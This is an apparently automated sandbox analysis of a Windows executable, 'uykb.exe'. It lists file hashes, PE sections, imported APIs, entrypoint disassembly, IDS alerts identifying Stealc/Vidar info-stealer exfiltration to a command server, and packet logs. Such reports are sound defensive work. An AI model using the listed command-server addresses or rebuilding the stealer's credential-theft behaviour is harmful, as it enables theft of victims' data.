Preview:	)]}'.{"update":{"language_code":"en-US","ogb":{"html":{"private_do_not_access_or_else_safe_html_wrapped_value":"\u003cheader class\u003d\"gb_Ea gb_1d gb_Oe gb_qd\" id\u003d\"gb\" role\u003d\"banner\" style\u003d\"background-color:transparent\"\u003e\u003cdiv class\u003d\"gb_Pd\"\u003e\u003c\/div\u003e\u003cdiv class\u003d\"gb_kd gb_od gb_Fd gb_ld\"\u003e\u003cdiv class\u003d\"gb_wd gb_rd\"\u003e\u003cdiv class\u003d\"gb_Jc gb_Q\" aria-expanded\u003d\"false\" aria-label\u003d\"Main menu\" role\u003d\"button\" tabindex\u003d\"0\"\u003e\u003csvg focusable\u003d\"false\" viewbox\u003d\"0 0 24 24\"\u003e\u003cpath d\u003d\"M3 18h18v-2H3v2zm0-5h18v-2H3v2zm0-7v2h18V6H3z\"\u003e\u003c\/path\u003e\u003c\/svg\u003e\u003c\/div\u003e\u003cdiv class\u003d\"gb_Jc gb_Mc gb_Q\" aria-label\u003d\"Go back\" title\u003d\"Go back\" role\u003d\"button\" tabindex\u003d\"0\"\u003e\u003csvg focusable\u003d\"false\" viewbox\u003d\"0 0 24 24\"\u003e\u003cpath d\u003d\"M20 11H7.83l5.59-5.59L12 4l-8 8 8 8 1.41-1.

Chrome Cache Entry: 451

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (1395)
Category:	downloaded
Size (bytes):	117446
Entropy (8bit):	5.490775275046353
Encrypted:	false
SSDEEP:	3072:T2yvefrtJUEgK3Cvw3wWs/ZuTZVL/G1kL:T2y4tJbDK0L/G1kL
MD5:	942EA4F96889BAE7D3C59C0724AB2208
SHA1:	033DDF473319500621D8EBB6961C4278E27222A7
SHA-256:	F59F7F32422E311462A6A6307D90CA75FE87FA11E6D481534A6F28BFCCF63B03
SHA-512:	C3F27662D08AA00ECBC910C39F6429C2F4CBC7CB5FC9083F63390047BACAF8CD7A83C3D6BBE7718F699DAE2ADA486F9E0CAED59BC3043491EECD9734EC32D92F
Malicious:	false
URL:	"https://apis.google.com/_/scs/abc-static/_/js/k=gapi.gapi.en.l2ZUC8FxqV8.O/m=gapi_iframes,googleapis_client/rt=j/sv=1/d=1/ed=1/rs=AHpOoo9xAAkaXO7Lqf7-9uTpZLtrkpWaXQ/cb=gapi.loaded_0"
Preview:	gapi.loaded_0(function(_){var window=this;._._F_toggles_initialize=function(a){(typeof globalThis!=="undefined"?globalThis:typeof self!=="undefined"?self:this)._F_toggles=a\|\|[]};(0,_._F_toggles_initialize)([]);.var ca,da,ha,ma,xa,Aa,Ba;ca=function(a){var b=0;return function(){return b<a.length?{done:!1,value:a[b++]}:{done:!0}}};da=typeof Object.defineProperties=="function"?Object.defineProperty:function(a,b,c){if(a==Array.prototype\|\|a==Object.prototype)return a;a[b]=c.value;return a};.ha=function(a){a=["object"==typeof globalThis&&globalThis,a,"object"==typeof window&&window,"object"==typeof self&&self,"object"==typeof global&&global];for(var b=0;b<a.length;++b){var c=a[b];if(c&&c.Math==Math)return c}throw Error("a");};_.la=ha(this);ma=function(a,b){if(b)a:{var c=_.la;a=a.split(".");for(var d=0;d<a.length-1;d++){var e=a[d];if(!(e in c))break a;c=c[e]}a=a[a.length-1];d=c[a];b=b(d);b!=d&&b!=null&&da(c,a,{configurable:!0,writable:!0,value:b})}};.ma("Symbol",function(a){if(a)return a;var b

Chrome Cache Entry: 452

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	SVG Scalable Vector Graphics image
Category:	downloaded
Size (bytes):	1660
Entropy (8bit):	4.301517070642596
Encrypted:	false
SSDEEP:	48:A/S9VU5IDhYYmMqPLmumtrYW2DyZ/jTq9J:A2VUSDhYYmM5trYFw/jmD
MD5:	554640F465EB3ED903B543DAE0A1BCAC
SHA1:	E0E6E2C8939008217EB76A3B3282CA75F3DC401A
SHA-256:	99BF4AA403643A6D41C028E5DB29C79C17CBC815B3E10CD5C6B8F90567A03E52
SHA-512:	462198E2B69F72F1DC9743D0EA5EED7974A035F24600AA1C2DE0211D978FF0795370560CBF274CCC82C8AC97DC3706C753168D4B90B0B81AE84CC922C055CFF0
Malicious:	false
URL:	https://www.gstatic.com/images/branding/googlelogo/svg/googlelogo_clr_74x24px.svg
Preview:	<svg xmlns="http://www.w3.org/2000/svg" width="74" height="24" viewBox="0 0 74 24"><path fill="#4285F4" d="M9.24 8.19v2.46h5.88c-.18 1.38-.64 2.39-1.34 3.1-.86.86-2.2 1.8-4.54 1.8-3.62 0-6.45-2.92-6.45-6.54s2.83-6.54 6.45-6.54c1.95 0 3.38.77 4.43 1.76L15.4 2.5C13.94 1.08 11.98 0 9.24 0 4.28 0 .11 4.04.11 9s4.17 9 9.13 9c2.68 0 4.7-.88 6.28-2.52 1.62-1.62 2.13-3.91 2.13-5.75 0-.57-.04-1.1-.13-1.54H9.24z"/><path fill="#EA4335" d="M25 6.19c-3.21 0-5.83 2.44-5.83 5.81 0 3.34 2.62 5.81 5.83 5.81s5.83-2.46 5.83-5.81c0-3.37-2.62-5.81-5.83-5.81zm0 9.33c-1.76 0-3.28-1.45-3.28-3.52 0-2.09 1.52-3.52 3.28-3.52s3.28 1.43 3.28 3.52c0 2.07-1.52 3.52-3.28 3.52z"/><path fill="#4285F4" d="M53.58 7.49h-.09c-.57-.68-1.67-1.3-3.06-1.3C47.53 6.19 45 8.72 45 12c0 3.26 2.53 5.81 5.43 5.81 1.39 0 2.49-.62 3.06-1.32h.09v.81c0 2.22-1.19 3.41-3.1 3.41-1.56 0-2.53-1.12-2.93-2.07l-2.22.92c.64 1.54 2.33 3.43 5.15 3.43 2.99 0 5.52-1.76 5.52-6.05V6.49h-2.42v1zm-2.93 8.03c-1.76 0-3.1-1.5-3.1-3.52 0-2.05 1.34-3.52 3.1-3

Chrome Cache Entry: 453

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (5162), with no line terminators
Category:	downloaded
Size (bytes):	5162
Entropy (8bit):	5.3503139230837595
Encrypted:	false
SSDEEP:	96:lXTMb1db1hNY/cobkcsidqg3gcIOnAg8IF8uM8DvY:lXT0TGKiqggdaAg8IF8uM8DA
MD5:	7977D5A9F0D7D67DE08DECF635B4B519
SHA1:	4A66E5FC1143241897F407CEB5C08C36767726C1
SHA-256:	FE8B69B644EDDE569DD7D7BC194434C57BCDF60280078E9F96EEAA5489C01F9D
SHA-512:	8547AE6ACA1A9D74A70BF27E048AD4B26B2DC74525F8B70D631DA3940232227B596D56AB9807E2DCE96B0F5984E7993F480A35449F66EEFCF791A7428C5D0567
Malicious:	false
URL:	"https://www.gstatic.com/og/_/ss/k=og.qtm.ibLFXwX0rCY.L.W.O/m=qmd,qcwid/excm=qaaw,qabr,qadd,qaid,qalo,qebr,qein,qhaw,qhawgm3,qhba,qhbr,qhbrgm3,qhch,qhchgm3,qhga,qhid,qhidgm3,qhin,qhlo,qhlogm3,qhmn,qhpc,qhsf,qhsfgm3,qhtt/d=1/ed=1/ct=zgms/rs=AA2YrTvqN9D6GXNVSIuZhAnCnxJWnYAbLw"
Preview:	.gb_P{-webkit-border-radius:50%;border-radius:50%;bottom:2px;height:18px;position:absolute;right:0;width:18px}.gb_Ja{-webkit-border-radius:50%;border-radius:50%;-webkit-box-shadow:0px 1px 2px 0px rgba(60,64,67,.30),0px 1px 3px 1px rgba(60,64,67,.15);box-shadow:0px 1px 2px 0px rgba(60,64,67,.30),0px 1px 3px 1px rgba(60,64,67,.15);margin:2px}.gb_Ka{fill:#f9ab00}.gb_F .gb_Ka{fill:#fdd663}.gb_La>.gb_Ka{fill:#d93025}.gb_F .gb_La>.gb_Ka{fill:#f28b82}.gb_La>.gb_Ma{fill:white}.gb_Ma,.gb_F .gb_La>.gb_Ma{fill:#202124}.gb_Na{-webkit-clip-path:path("M16 0C24.8366 0 32 7.16344 32 16C32 16.4964 31.9774 16.9875 31.9332 17.4723C30.5166 16.5411 28.8215 16 27 16C22.0294 16 18 20.0294 18 25C18 27.4671 18.9927 29.7024 20.6004 31.3282C19.1443 31.7653 17.5996 32 16 32C7.16344 32 0 24.8366 0 16C0 7.16344 7.16344 0 16 0Z");clip-path:path("M16 0C24.8366 0 32 7.16344 32 16C32 16.4964 31.9774 16.9875 31.9332 17.4723C30.5166 16.5411 28.8215 16 27 16C22.0294 16 18 20.0294 18 25C18 27.4671 18.9927 29.7024 20.6004 3

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386, for MS Windows
Entropy (8bit):	7.09078458435637
TrID:	Win32 Executable (generic) a (10002005/4) 99.96% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	uykb.exe
File size:	279'040 bytes
MD5:	37797bbf221a8b210a987c3822ee35fc
SHA1:	eaa09aee812bd2466c0b750f9edc7e66088c38e2
SHA256:	76106d902328efa1e4a8c815e57a130f763a0a1ed5bfd1ba5707874c3ddaa84c
SHA512:	9378befe69eb34494bf2b431147d2cd97bbcd8cc3dd173a097aa0e6facca00314d1f6d843c9a5b09866ec37c13c602833447c4fe52bbbec545d1b9ef544e440b
SSDEEP:	3072:ne/3hGz8Su8ucwsy7vf7Qy63S9scCh4slxWsr7i9O3WWsZHpV0iukwEEfzqygF/S:n6xqucZy7vf8f3oMRxb/3W1Hp91Gq
TLSH:	F8546B613AA2CD7AD68020FF5C9DAABE1F1B889B6F8496E3B4945C4D5CB03D74231F41
File Content Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L......g.....................j.......A............@.....................................................................W...W...T..

File Icon


Icon Hash:	00928e8e8686b000

Static PE Info

General

Entrypoint:	0x4241f0
Entrypoint Section:	.text
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, 32BIT_MACHINE
DLL Characteristics:	TERMINAL_SERVER_AWARE
Time Stamp:	0x6797BC80 [Mon Jan 27 17:04:00 2025 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	6
OS Version Minor:	0
File Version Major:	6
File Version Minor:	0
Subsystem Version Major:	6
Subsystem Version Minor:	0
Import Hash:	9fa03dc67d87598889edf28a24bc9b26

Entrypoint Preview

Instruction
push edi
push esi
sub esp, 00000408h
mov eax, 00000100h
lea ecx, dword ptr [esp+04h]
mov dword ptr [ecx], eax
mov dword ptr [esp], eax
mov edi, C734A620h
mov eax, dword ptr [0043EDD0h]
add eax, edi
lea edx, dword ptr [esp+08h]
push ecx
push edx
call eax
xor esi, esi
inc esi
test eax, eax
je 00007F0B14F5CED5h
add edi, dword ptr [0043EDD4h]
mov eax, esp
lea ecx, dword ptr [esp+00000208h]
push eax
push ecx
call edi
test eax, eax
je 00007F0B14F5CEBEh
cmp dword ptr [esp+04h], 08h
jne 00007F0B14F5CEA8h
cmp dword ptr [esp], 07h
jne 00007F0B14F5CEA2h
cmp word ptr [esp+08h], 004Ah
jne 00007F0B14F5CE9Ah
cmp word ptr [esp+12h], 006Fh
jne 00007F0B14F5CE92h
cmp word ptr [esp+14h], 0065h
jne 00007F0B14F5CE8Ah
cmp word ptr [esp+00000208h], 0048h
jne 00007F0B14F5CE7Fh
xor esi, esi
cmp word ptr [esp+0000020Eh], 0039h
je 00007F0B14F5CE81h
mov eax, C734A620h
add eax, dword ptr [0043EDD8h]
call eax
xor esi, esi
mov eax, esi
add esp, 00000408h
pop esi
pop edi
retn 0010h
mov eax, 991766FBh
add eax, dword ptr [0043EDDCh]
push dword ptr [esp+10h]
push dword ptr [esp+10h]
push dword ptr [esp+10h]
push FFFFFFFFh
push dword ptr [esp+14h]
call eax
add esp, 14h
ret
push edi
push esi
sub esp, 00000000h

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x38a00	0x57	.rdata
IMAGE_DIRECTORY_ENTRY_IMPORT	0x38a57	0x154	.rdata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x43000	0x1a8	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x44000	0x61d0	.reloc
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x38678	0x5c	.rdata
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x38ed4	0x328	.rdata
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x1000	0x2d27c	0x2d400	3c6b5c6ccc3d90a99e688be25f22befb	False	0.3880675932320442	data	6.558966330875313	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rdata	0x2f000	0xafb4	0xb000	2bbbb3696510c736910a339269c22ee3	False	0.8967063210227273	data	7.73699340948608	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.data	0x3a000	0x73a0	0x5400	9940de939e0322ff7d33fbeb6d1edac1	False	0.6319289434523809	data	6.6288023395573035	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.00cfg	0x42000	0x4	0x200	c9801e7d1b1ae2e50a30a5fe5cefc154	False	0.03125	data	0.06116285224115448	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.rsrc	0x43000	0x1a8	0x200	91c51aa9ae1456af3e677ad555003a2a	False	0.482421875	data	4.173325591053009	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.reloc	0x44000	0x61d0	0x6200	187e22ba7b166c5877bf4cbc8fd5ed39	False	0.6474808673469388	data	6.741448112884555	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_READ

Resources

Name	RVA	Size	Type	Language	Country	ZLIB Complexity
RT_MANIFEST	0x43060	0x143	XML 1.0 document, ASCII text	English	United States	0.628482972136223

Imports

DLL	Import
KERNEL32.dll	CloseHandle, CopyFileA, CreateDirectoryA, CreateEventA, CreateFileA, CreateFileMappingA, CreateProcessA, CreateThread, CreateToolhelp32Snapshot, DeleteFileA, ExitProcess, ExpandEnvironmentStringsA, FileTimeToSystemTime, FindClose, FindFirstFileA, FindNextFileA, GetComputerNameA, GetComputerNameW, GetCurrentProcess, GetCurrentProcessId, GetDriveTypeA, GetEnvironmentVariableA, GetFileAttributesA, GetFileInformationByHandle, GetFileSize, GetFileSizeEx, GetLastError, GetLocalTime, GetLocaleInfoA, GetLogicalDriveStringsA, GetLogicalProcessorInformationEx, GetModuleFileNameA, GetProcAddress, GetProcessHeap, GetSystemInfo, GetSystemPowerStatus, GetSystemTime, GetTickCount, GetTimeZoneInformation, GetUserDefaultLocaleName, GetVolumeInformationA, GetWindowsDirectoryA, GlobalAlloc, GlobalFree, GlobalLock, GlobalMemoryStatusEx, GlobalSize, HeapAlloc, HeapFree, InitializeCriticalSectionEx, IsWow64Process, K32EnumProcessModules, K32GetModuleBaseNameA, K32GetModuleFileNameExA, LoadLibraryW, LocalAlloc, LocalFree, MapViewOfFile, OpenEventA, OpenProcess, Process32First, Process32Next, RaiseException, ReadFile, ReadProcessMemory, SetFilePointer, Sleep, SystemTimeToFileTime, TerminateProcess, UnmapViewOfFile, VirtualQueryEx, WaitForSingleObject, WriteFile, lstrcatA, lstrcpyA, lstrcpynA, lstrlenA
msvcrt.dll	??2@YAPAXI@Z, ??3@YAXPAX@Z, ??_U@YAPAXI@Z, ??_V@YAXPAX@Z, _itoa_s, _splitpath, _wtoi64, atexit, free, isupper, malloc, memchr, memcmp, memcpy, memmove, memset, rand, srand, strchr, strcmp, strcpy, strcpy_s, strlen, strncpy, strstr, strtok_s
ADVAPI32.dll	CryptAcquireContextA, CryptGenRandom, CryptReleaseContext, GetCurrentHwProfileA, GetUserNameA, GetUserNameW, RegCloseKey, RegEnumKeyExA, RegGetValueA, RegOpenKeyExA, RegQueryValueExA
api-ms-win-crt-runtime-l1-1-0.dll	_invalid_parameter_noinfo_noreturn
USER32.dll	CharToOemA, CharToOemW, CloseDesktop, CloseWindow, CreateDesktopA, EnumDisplayDevicesA, GetDC, GetDesktopWindow, GetKeyboardLayoutList, GetWindowRect, MessageBoxA, OpenDesktopA, ReleaseDC, wsprintfA, wsprintfW
api-ms-win-crt-stdio-l1-1-0.dll	__stdio_common_vsnprintf_s, __stdio_common_vsprintf
GDI32.dll	BitBlt, CreateCompatibleBitmap, CreateCompatibleDC, CreateDCA, DeleteObject, GetDeviceCaps, SelectObject
ole32.dll	CoCreateInstance, CreateStreamOnHGlobal, GetHGlobalFromStream
OLEAUT32.dll	SysAllocString, SysFreeString
SHELL32.dll	SHFileOperationA, SHGetFolderPathA, ShellExecuteExA
WS2_32.dll	WSACleanup, WSAStartup, closesocket, connect, freeaddrinfo, getaddrinfo, htons, recv, send, socket
SHLWAPI.dll	PathFileExistsA, PathMatchSpecA, StrStrA
CRYPT32.dll	CryptBinaryToStringA, CryptUnprotectData
WININET.dll	HttpOpenRequestA, HttpQueryInfoA, HttpSendRequestA, InternetCloseHandle, InternetConnectA, InternetCrackUrlA, InternetOpenA, InternetOpenUrlA, InternetReadFile, InternetSetOptionA
bcrypt.dll	BCryptCloseAlgorithmProvider, BCryptDecrypt, BCryptDestroyKey, BCryptGenerateSymmetricKey, BCryptOpenAlgorithmProvider, BCryptSetProperty
dbghelp.dll	SymCleanup, SymFromAddr, SymGetLineFromAddr64, SymInitialize, SymMatchString, SymSetOptions

Exports

Name	Ordinal	Address
_UnhandledExceptionFilter@4	1	0x41d352

Possible Origin

Language of compilation system	Country where language is spoken	Map
English	United States

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2025-02-01T21:58:57.659373+0100	2859378	ETPRO MALWARE Win32/Stealc/Vidar Stealer Host Details Exfil (POST) M2	1	192.168.2.6	49711	116.202.5.153	443	TCP
2025-02-01T21:58:58.986750+0100	2049087	ET MALWARE Win32/Stealc/Vidar Stealer Style Headers In HTTP POST M1	1	192.168.2.6	49713	116.202.5.153	443	TCP
2025-02-01T21:59:00.324111+0100	2044247	ET MALWARE Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config	1	116.202.5.153	443	192.168.2.6	49714	TCP
2025-02-01T21:59:01.668427+0100	2051831	ET MALWARE Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config M1	1	116.202.5.153	443	192.168.2.6	49716	TCP
2025-02-01T21:59:03.000673+0100	2059331	ET MALWARE Win32/Stealc/Vidar Stealer Style Headers In HTTP POST M2	1	192.168.2.6	49722	116.202.5.153	443	TCP
2025-02-01T21:59:04.191030+0100	2059331	ET MALWARE Win32/Stealc/Vidar Stealer Style Headers In HTTP POST M2	1	192.168.2.6	49728	116.202.5.153	443	TCP
2025-02-01T21:59:12.300305+0100	2059331	ET MALWARE Win32/Stealc/Vidar Stealer Style Headers In HTTP POST M2	1	192.168.2.6	49810	116.202.5.153	443	TCP
2025-02-01T21:59:12.620319+0100	2059331	ET MALWARE Win32/Stealc/Vidar Stealer Style Headers In HTTP POST M2	1	192.168.2.6	49820	116.202.5.153	443	TCP
2025-02-01T21:59:12.620319+0100	2859636	ETPRO MALWARE Vidar/StealC CnC Exfil via SQL Database (POST)	1	192.168.2.6	49820	116.202.5.153	443	TCP
2025-02-01T21:59:13.653313+0100	2059331	ET MALWARE Win32/Stealc/Vidar Stealer Style Headers In HTTP POST M2	1	192.168.2.6	49830	116.202.5.153	443	TCP
2025-02-01T21:59:13.653313+0100	2859636	ETPRO MALWARE Vidar/StealC CnC Exfil via SQL Database (POST)	1	192.168.2.6	49830	116.202.5.153	443	TCP
2025-02-01T21:59:15.659424+0100	2059331	ET MALWARE Win32/Stealc/Vidar Stealer Style Headers In HTTP POST M2	1	192.168.2.6	49843	116.202.5.153	443	TCP
2025-02-01T21:59:15.659424+0100	2859636	ETPRO MALWARE Vidar/StealC CnC Exfil via SQL Database (POST)	1	192.168.2.6	49843	116.202.5.153	443	TCP
2025-02-01T21:59:17.498069+0100	2059331	ET MALWARE Win32/Stealc/Vidar Stealer Style Headers In HTTP POST M2	1	192.168.2.6	49851	116.202.5.153	443	TCP
2025-02-01T21:59:23.861525+0100	2059331	ET MALWARE Win32/Stealc/Vidar Stealer Style Headers In HTTP POST M2	1	192.168.2.6	49911	116.202.5.153	443	TCP
2025-02-01T21:59:24.626976+0100	2059331	ET MALWARE Win32/Stealc/Vidar Stealer Style Headers In HTTP POST M2	1	192.168.2.6	49929	116.202.5.153	443	TCP
2025-02-01T21:59:24.626976+0100	2859636	ETPRO MALWARE Vidar/StealC CnC Exfil via SQL Database (POST)	1	192.168.2.6	49929	116.202.5.153	443	TCP
2025-02-01T21:59:25.649000+0100	2059331	ET MALWARE Win32/Stealc/Vidar Stealer Style Headers In HTTP POST M2	1	192.168.2.6	49947	116.202.5.153	443	TCP
2025-02-01T21:59:25.649000+0100	2859636	ETPRO MALWARE Vidar/StealC CnC Exfil via SQL Database (POST)	1	192.168.2.6	49947	116.202.5.153	443	TCP
2025-02-01T21:59:26.721506+0100	2059331	ET MALWARE Win32/Stealc/Vidar Stealer Style Headers In HTTP POST M2	1	192.168.2.6	49965	116.202.5.153	443	TCP
2025-02-01T21:59:26.721506+0100	2859636	ETPRO MALWARE Vidar/StealC CnC Exfil via SQL Database (POST)	1	192.168.2.6	49965	116.202.5.153	443	TCP
2025-02-01T21:59:27.804435+0100	2059331	ET MALWARE Win32/Stealc/Vidar Stealer Style Headers In HTTP POST M2	1	192.168.2.6	49997	116.202.5.153	443	TCP
2025-02-01T21:59:27.804435+0100	2859636	ETPRO MALWARE Vidar/StealC CnC Exfil via SQL Database (POST)	1	192.168.2.6	49997	116.202.5.153	443	TCP
2025-02-01T21:59:29.832676+0100	2059331	ET MALWARE Win32/Stealc/Vidar Stealer Style Headers In HTTP POST M2	1	192.168.2.6	50017	116.202.5.153	443	TCP
2025-02-01T21:59:29.832676+0100	2859636	ETPRO MALWARE Vidar/StealC CnC Exfil via SQL Database (POST)	1	192.168.2.6	50017	116.202.5.153	443	TCP
2025-02-01T21:59:31.020218+0100	2059331	ET MALWARE Win32/Stealc/Vidar Stealer Style Headers In HTTP POST M2	1	192.168.2.6	50023	116.202.5.153	443	TCP
2025-02-01T21:59:31.020218+0100	2859636	ETPRO MALWARE Vidar/StealC CnC Exfil via SQL Database (POST)	1	192.168.2.6	50023	116.202.5.153	443	TCP
2025-02-01T21:59:35.739676+0100	2059331	ET MALWARE Win32/Stealc/Vidar Stealer Style Headers In HTTP POST M2	1	192.168.2.6	50057	116.202.5.153	443	TCP
2025-02-01T21:59:37.794260+0100	2059331	ET MALWARE Win32/Stealc/Vidar Stealer Style Headers In HTTP POST M2	1	192.168.2.6	50068	116.202.5.153	443	TCP
2025-02-01T21:59:39.891384+0100	2059331	ET MALWARE Win32/Stealc/Vidar Stealer Style Headers In HTTP POST M2	1	192.168.2.6	50084	116.202.5.153	443	TCP
2025-02-01T21:59:40.864253+0100	2059331	ET MALWARE Win32/Stealc/Vidar Stealer Style Headers In HTTP POST M2	1	192.168.2.6	50090	116.202.5.153	443	TCP
2025-02-01T21:59:41.816849+0100	2059331	ET MALWARE Win32/Stealc/Vidar Stealer Style Headers In HTTP POST M2	1	192.168.2.6	50101	116.202.5.153	443	TCP
2025-02-01T21:59:43.254648+0100	2059331	ET MALWARE Win32/Stealc/Vidar Stealer Style Headers In HTTP POST M2	1	192.168.2.6	50113	116.202.5.153	443	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Feb 1, 2025 21:58:50.104847908 CET	49674	443	192.168.2.6	173.222.162.64
Feb 1, 2025 21:58:50.104851961 CET	49673	443	192.168.2.6	173.222.162.64
Feb 1, 2025 21:58:50.417340040 CET	49672	443	192.168.2.6	173.222.162.64
Feb 1, 2025 21:58:53.890397072 CET	49709	443	192.168.2.6	149.154.167.99
Feb 1, 2025 21:58:53.890439034 CET	443	49709	149.154.167.99	192.168.2.6
Feb 1, 2025 21:58:53.890527964 CET	49709	443	192.168.2.6	149.154.167.99
Feb 1, 2025 21:58:53.903709888 CET	49709	443	192.168.2.6	149.154.167.99
Feb 1, 2025 21:58:53.903732061 CET	443	49709	149.154.167.99	192.168.2.6
Feb 1, 2025 21:58:54.564002991 CET	443	49709	149.154.167.99	192.168.2.6
Feb 1, 2025 21:58:54.564107895 CET	49709	443	192.168.2.6	149.154.167.99
Feb 1, 2025 21:58:54.637526035 CET	49709	443	192.168.2.6	149.154.167.99
Feb 1, 2025 21:58:54.637554884 CET	443	49709	149.154.167.99	192.168.2.6
Feb 1, 2025 21:58:54.638170004 CET	443	49709	149.154.167.99	192.168.2.6
Feb 1, 2025 21:58:54.638248920 CET	49709	443	192.168.2.6	149.154.167.99
Feb 1, 2025 21:58:54.642251968 CET	49709	443	192.168.2.6	149.154.167.99
Feb 1, 2025 21:58:54.683341026 CET	443	49709	149.154.167.99	192.168.2.6
Feb 1, 2025 21:58:54.830893993 CET	443	49709	149.154.167.99	192.168.2.6
Feb 1, 2025 21:58:54.830920935 CET	443	49709	149.154.167.99	192.168.2.6
Feb 1, 2025 21:58:54.830966949 CET	443	49709	149.154.167.99	192.168.2.6
Feb 1, 2025 21:58:54.830986977 CET	443	49709	149.154.167.99	192.168.2.6
Feb 1, 2025 21:58:54.831012964 CET	49709	443	192.168.2.6	149.154.167.99
Feb 1, 2025 21:58:54.831012964 CET	49709	443	192.168.2.6	149.154.167.99
Feb 1, 2025 21:58:54.831051111 CET	49709	443	192.168.2.6	149.154.167.99
Feb 1, 2025 21:58:54.933907986 CET	49709	443	192.168.2.6	149.154.167.99
Feb 1, 2025 21:58:54.933938026 CET	443	49709	149.154.167.99	192.168.2.6
Feb 1, 2025 21:58:54.974603891 CET	49710	443	192.168.2.6	116.202.5.153
Feb 1, 2025 21:58:54.974636078 CET	443	49710	116.202.5.153	192.168.2.6
Feb 1, 2025 21:58:54.974706888 CET	49710	443	192.168.2.6	116.202.5.153
Feb 1, 2025 21:58:54.978214979 CET	49710	443	192.168.2.6	116.202.5.153
Feb 1, 2025 21:58:54.978230953 CET	443	49710	116.202.5.153	192.168.2.6
Feb 1, 2025 21:58:55.843554020 CET	443	49710	116.202.5.153	192.168.2.6
Feb 1, 2025 21:58:55.843636990 CET	49710	443	192.168.2.6	116.202.5.153
Feb 1, 2025 21:58:55.849164963 CET	49710	443	192.168.2.6	116.202.5.153
Feb 1, 2025 21:58:55.849175930 CET	443	49710	116.202.5.153	192.168.2.6
Feb 1, 2025 21:58:55.849606991 CET	443	49710	116.202.5.153	192.168.2.6
Feb 1, 2025 21:58:55.849668026 CET	49710	443	192.168.2.6	116.202.5.153
Feb 1, 2025 21:58:55.850032091 CET	49710	443	192.168.2.6	116.202.5.153
Feb 1, 2025 21:58:55.891333103 CET	443	49710	116.202.5.153	192.168.2.6
Feb 1, 2025 21:58:56.305273056 CET	443	49710	116.202.5.153	192.168.2.6
Feb 1, 2025 21:58:56.305356026 CET	49710	443	192.168.2.6	116.202.5.153
Feb 1, 2025 21:58:56.305376053 CET	443	49710	116.202.5.153	192.168.2.6
Feb 1, 2025 21:58:56.305391073 CET	443	49710	116.202.5.153	192.168.2.6
Feb 1, 2025 21:58:56.305425882 CET	49710	443	192.168.2.6	116.202.5.153
Feb 1, 2025 21:58:56.305455923 CET	49710	443	192.168.2.6	116.202.5.153
Feb 1, 2025 21:58:56.309948921 CET	49710	443	192.168.2.6	116.202.5.153
Feb 1, 2025 21:58:56.309963942 CET	443	49710	116.202.5.153	192.168.2.6
Feb 1, 2025 21:58:56.317559958 CET	49711	443	192.168.2.6	116.202.5.153
Feb 1, 2025 21:58:56.317626953 CET	443	49711	116.202.5.153	192.168.2.6
Feb 1, 2025 21:58:56.317696095 CET	49711	443	192.168.2.6	116.202.5.153
Feb 1, 2025 21:58:56.318020105 CET	49711	443	192.168.2.6	116.202.5.153
Feb 1, 2025 21:58:56.318041086 CET	443	49711	116.202.5.153	192.168.2.6
Feb 1, 2025 21:58:56.985331059 CET	443	49711	116.202.5.153	192.168.2.6
Feb 1, 2025 21:58:56.985411882 CET	49711	443	192.168.2.6	116.202.5.153
Feb 1, 2025 21:58:56.986908913 CET	49711	443	192.168.2.6	116.202.5.153
Feb 1, 2025 21:58:56.986918926 CET	443	49711	116.202.5.153	192.168.2.6
Feb 1, 2025 21:58:56.989177942 CET	49711	443	192.168.2.6	116.202.5.153
Feb 1, 2025 21:58:56.989183903 CET	443	49711	116.202.5.153	192.168.2.6
Feb 1, 2025 21:58:57.010358095 CET	49712	443	192.168.2.6	40.113.110.67
Feb 1, 2025 21:58:57.010391951 CET	443	49712	40.113.110.67	192.168.2.6
Feb 1, 2025 21:58:57.010463953 CET	49712	443	192.168.2.6	40.113.110.67
